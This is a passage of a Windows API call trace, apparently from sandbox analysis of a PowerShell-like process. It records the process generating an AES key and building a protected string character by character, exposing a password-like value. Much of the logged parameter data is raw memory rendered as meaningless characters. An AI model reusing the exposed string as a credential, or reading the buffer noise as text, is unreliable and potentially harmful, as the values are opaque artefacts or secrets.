TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.136] GetConsoleOutputCP () returned 0x1b5 [0245.136] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.136] GetConsoleOutputCP () returned 0x1b5 [0245.136] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.136] GetConsoleOutputCP () returned 0x1b5 [0245.136] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.137] GetConsoleOutputCP () returned 0x1b5 [0245.137] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.137] GetConsoleOutputCP () returned 0x1b5 [0245.137] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.137] GetConsoleOutputCP () returned 0x1b5 [0245.143] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.144] GetConsoleOutputCP () returned 0x1b5 [0245.144] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.144] GetConsoleOutputCP () returned 0x1b5 [0245.144] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.144] GetConsoleOutputCP () returned 0x1b5 [0245.144] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.144] GetConsoleOutputCP () returned 0x1b5 [0245.145] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.145] GetConsoleOutputCP () returned 0x1b5 [0245.145] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.145] GetConsoleOutputCP () returned 0x1b5 [0245.145] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.145] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0245.146] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0245.146] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23af630*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23af630*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0245.146] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0245.147] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0245.148] EtwEventActivityIdControl () returned 0x0 [0245.148] EtwEventActivityIdControl () returned 0x0 [0245.148] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.148] EtwEventActivityIdControl () returned 0x0 [0245.148] EtwEventActivityIdControl () returned 0x0 [0245.149] EtwEventActivityIdControl () returned 0x0 [0245.150] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.151] EtwEventActivityIdControl () returned 0x0 [0245.151] EtwEventActivityIdControl () returned 0x0 [0245.151] EtwEventActivityIdControl () returned 0x0 [0245.154] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cd48) returned 1 [0245.155] CryptGenKey (in: hProv=0x5c4cd48, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99820) returned 1 [0245.155] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.155] CryptExportKey (in: hKey=0x5c99820, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0245.155] CryptExportKey (in: hKey=0x5c99820, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23b724c, pdwDataLen=0x5a2e8c4 | out: pbData=0x23b724c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0245.156] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.157] EtwEventActivityIdControl () returned 0x0 [0245.157] EtwEventActivityIdControl () returned 0x0 [0245.157] EtwEventActivityIdControl () returned 0x0 [0245.158] SysStringLen (param_1="") returned 0x8 [0245.158] SysStringLen (param_1="r") returned 0x8 [0245.158] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.158] SysStringLen (param_1="鈋\哜詎綧큖䐅曓≢) returned 0x8 [0245.158] SysStringLen (param_1="鈋\哜詎綧큖䐅曓≢) returned 0x8 [0245.158] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.158] SysStringLen (param_1="rI") returned 0x8 [0245.158] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.159] SysStringLen (param_1="౔ꦥℇ虼螳鵸㙍") returned 0x8 [0245.159] SysStringLen (param_1="౔ꦥℇ虼螳鵸㙍") returned 0x8 [0245.159] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.159] SysStringLen (param_1="rIs") returned 0x8 [0245.159] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.159] SysStringLen (param_1="㑃ꚻ\⃚띤퀝垻ｚ⊸) returned 0x8 [0245.159] SysStringLen (param_1="㑃ꚻ\⃚띤퀝垻ｚ⊸) returned 0x8 [0245.160] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.160] SysStringLen (param_1="rIs7") returned 0x8 [0245.160] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.160] SysStringLen (param_1="ᗽ瘢굾㔈첶潼ᷫ") returned 0x8 [0245.160] SysStringLen (param_1="ᗽ瘢굾㔈첶潼ᷫ") returned 0x8 [0245.160] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.160] SysStringLen (param_1="rIs7x") returned 0x8 [0245.160] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.160] SysStringLen (param_1="뒲䥞뜀걼닢明깨") returned 0x8 [0245.160] SysStringLen (param_1="뒲䥞뜀걼닢明깨") returned 0x8 [0245.160] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.161] SysStringLen (param_1="rIs7xX") returned 0x8 [0245.161] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.161] SysStringLen (param_1="奎\\㳚떬ᐬ쫼洂") returned 0x8 [0245.161] SysStringLen (param_1="奎\\㳚떬ᐬ쫼洂") returned 0x8 [0245.161] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.161] SysStringLen (param_1="rIs7xXi") returned 0x8 [0245.161] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.161] SysStringLen (param_1="ഁ诹깫匄઱⼆泊") returned 0x8 [0245.161] SysStringLen (param_1="ഁ诹깫匄઱⼆泊") returned 0x8 [0245.161] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.161] SysStringLen (param_1="rIs7xXi3") returned 0x8 [0245.161] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.162] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚") returned 0x8 [0245.162] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚") returned 0x8 [0245.162] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚") returned 0x8 [0245.162] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚") returned 0x10 [0245.163] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.163] SysStringLen (param_1="rIs7xXi3a㭆⫑萱二桲⼵쿡") returned 0x10 [0245.163] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.163] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚伒⢝뀋翝狗ਫ਼堿◈") returned 0x10 [0245.163] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚伒⢝뀋翝狗ਫ਼堿◈") returned 0x10 [0245.163] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.163] SysStringLen (param_1="rIs7xXi3a2⫑萱二桲⼵쿡") returned 0x10 [0245.163] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.163] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚ⱴꗯ炸㙠㚜㵳摣ʘ") returned 0x10 [0245.163] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚ⱴꗯ炸㙠㚜㵳摣ʘ") returned 0x10 [0245.163] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.164] SysStringLen (param_1="rIs7xXi3a2i萱二桲⼵쿡") returned 0x10 [0245.164] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.164] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚嚠䈔\这炟搌ᕟ≵) returned 0x10 [0245.164] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚嚠䈔\这炟搌ᕟ≵) returned 0x10 [0245.164] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.164] SysStringLen (param_1="rIs7xXi3a2iu二桲⼵쿡") returned 0x10 [0245.164] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.164] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚䜾북튉鰅ᢜ㆕꺰鋴") returned 0x10 [0245.164] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚䜾북튉鰅ᢜ㆕꺰鋴") returned 0x10 [0245.164] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.164] SysStringLen (param_1="rIs7xXi3a2iuQ桲⼵쿡") returned 0x10 [0245.164] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.165] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞򧌂浫唔ﴃ湀㱟꺃ꝯ≕) returned 0x10 [0245.165] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞򧌂浫唔ﴃ湀㱟꺃ꝯ≕) returned 0x10 [0245.165] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.165] SysStringLen (param_1="rIs7xXi3a2iuQ1⼵쿡") returned 0x10 [0245.165] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.165] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚躑꼟䕾蘄䶨틇ﲖꎡ") returned 0x10 [0245.165] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚躑꼟䕾蘄䶨틇ﲖꎡ") returned 0x10 [0245.165] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.165] SysStringLen (param_1="rIs7xXi3a2iuQ1o쿡") returned 0x10 [0245.165] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.165] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚⡊޸氬鈴弩㆔㥓") returned 0x10 [0245.165] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚⡊޸氬鈴弩㆔㥓") returned 0x10 [0245.165] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.166] SysStringLen (param_1="rIs7xXi3a2iuQ1oj") returned 0x10 [0245.166] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.166] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦") returned 0x10 [0245.166] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦") returned 0x10 [0245.166] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦") returned 0x10 [0245.167] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦") returned 0x18 [0245.167] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.167] SysStringLen (param_1="rIs7xXi3a2iuQ1oji㕳픧ꇏ福碣뢕㥒") returned 0x18 [0245.167] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.167] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦፽⋵듴\\瀓༹뺓") returned 0x18 [0245.167] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦፽⋵듴\\瀓༹뺓") returned 0x18 [0245.167] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.167] SysStringLen (param_1="rIs7xXi3a2iuQ1ojil픧ꇏ福碣뢕㥒") returned 0x18 [0245.167] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.167] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦\ﻙ狌鼣母澀虡鋴≛) returned 0x18 [0245.167] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦\ﻙ狌鼣母澀虡鋴≛) returned 0x18 [0245.167] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.168] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYꇏ福碣뢕㥒") returned 0x18 [0245.168] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.168] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦雛퀬\뗝\꧜\栗ﭰ⊋) returned 0x18 [0245.168] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦雛퀬\뗝\꧜\栗ﭰ⊋) returned 0x18 [0245.168] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.168] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYO福碣뢕㥒") returned 0x18 [0245.168] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.168] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦㛷蟣关存줣⨘籋") returned 0x18 [0245.168] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦㛷蟣关存줣⨘籋") returned 0x18 [0245.168] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.168] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOz碣뢕㥒") returned 0x18 [0245.168] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.169] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦存᭪鮱ᾁ鴌⽎䃜") returned 0x18 [0245.169] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦存᭪鮱ᾁ鴌⽎䃜") returned 0x18 [0245.169] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.169] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy뢕㥒") returned 0x18 [0245.169] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.169] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ꁅ돒迿ኔ偝䷹眃鬝") returned 0x18 [0245.169] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ꁅ돒迿ኔ偝䷹眃鬝") returned 0x18 [0245.169] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.169] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2㥒") returned 0x18 [0245.169] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.170] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦캋뉗᫁桭馄ۻ稕鶳") returned 0x18 [0245.170] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦캋뉗᫁桭馄ۻ稕鶳") returned 0x18 [0245.170] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.170] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2P") returned 0x18 [0245.170] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.170] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠") returned 0x18 [0245.170] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠") returned 0x18 [0245.170] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠") returned 0x18 [0245.171] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠") returned 0x20 [0245.171] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.171] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps蛬复⨎콊䜖Ოᮛ") returned 0x20 [0245.171] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.171] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠̺ꚤ럌\烞讏懠頧⊋) returned 0x20 [0245.171] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠̺ꚤ럌\烞讏懠頧⊋) returned 0x20 [0245.171] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.171] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2复⨎콊䜖Ოᮛ") returned 0x20 [0245.171] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.172] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠㫂༼嗱ꊡ븞䒘혈") returned 0x20 [0245.172] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠㫂༼嗱ꊡ븞䒘혈") returned 0x20 [0245.172] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.172] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2P⨎콊䜖Ოᮛ") returned 0x20 [0245.172] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.172] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠灰\ꥥⲔ卩曎毤≏) returned 0x20 [0245.172] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠灰\ꥥⲔ卩曎毤≏) returned 0x20 [0245.172] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.172] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2Pp콊䜖Ოᮛ") returned 0x20 [0245.172] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.172] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠嫾卝⟘퇛㟵～辥") returned 0x20 [0245.172] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠嫾卝⟘퇛㟵～辥") returned 0x20 [0245.172] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.173] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2Ppp䜖Ოᮛ") returned 0x20 [0245.173] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.173] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠镥䪜럓笀ᠸ긌찐铊") returned 0x20 [0245.173] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠镥䪜럓笀ᠸ긌찐铊") returned 0x20 [0245.173] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.173] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2Ppp6Ოᮛ") returned 0x20 [0245.173] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.173] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠貘홋ाぺ咉궯") returned 0x20 [0245.173] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠貘홋ाぺ咉궯") returned 0x20 [0245.173] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.173] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2Ppp6Sᮛ") returned 0x20 [0245.174] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.174] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠篇⟞㽦☮流灲텐") returned 0x20 [0245.174] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠篇⟞㽦☮流灲텐") returned 0x20 [0245.174] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.174] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2Ppp6Sh") returned 0x20 [0245.174] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.174] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁∺) returned 0x20 [0245.174] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁∺) returned 0x20 [0245.174] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁∺) returned 0x20 [0245.175] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁尺砀㄀　∀) returned 0x28 [0245.175] SystemFunction041 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.175] SysStringLen (param_1="rIs7xXi3a2iuQ1ojilYOzy2Ps2Ppp6ShNा믿첹렶檞鞡") returned 0x28 [0245.175] SystemFunction040 (in: Memory=0x5c9b6d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b6d4) returned 0x0 [0245.175] SysStringLen (param_1="塚ϓ嶸㻿앣\䛞\˚㗹෦ꉎᬁ燴컜쯦ᐍ빹⹤郀䒥濮횠黭猂䔢엀㪨\엜뫁㠺껅⹮얁贘൩㐪㍨≫) returned 0x28 [0245.175] 